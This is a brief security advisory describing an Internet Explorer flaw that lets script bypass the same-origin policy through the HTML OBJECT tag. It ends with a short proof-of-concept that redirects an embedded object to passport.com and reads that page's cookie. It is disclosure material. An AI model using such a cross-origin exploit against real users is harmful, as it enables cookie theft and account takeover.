source: https://www.securityfocus.com/bid/5196/info

Microsoft Internet Explorer allows script code to violate the same origin policy through usage of the HTML OBJECT tag. Malicious script code may obtain a legitimate reference to an embedded object containing a web page from the same domain. This script may then change the location of the embedded object to a sensitive page, and maintain the reference to the object. This provides full access to the DOM of the embedded page.

<object id="data" data="empty.html" type="text/html"></object>
<script>
var ref=document.getElementById("data").object;
ref.location.href = "http://www.passport.com";
setTimeout("alert(ref.cookie)",5000);
</script>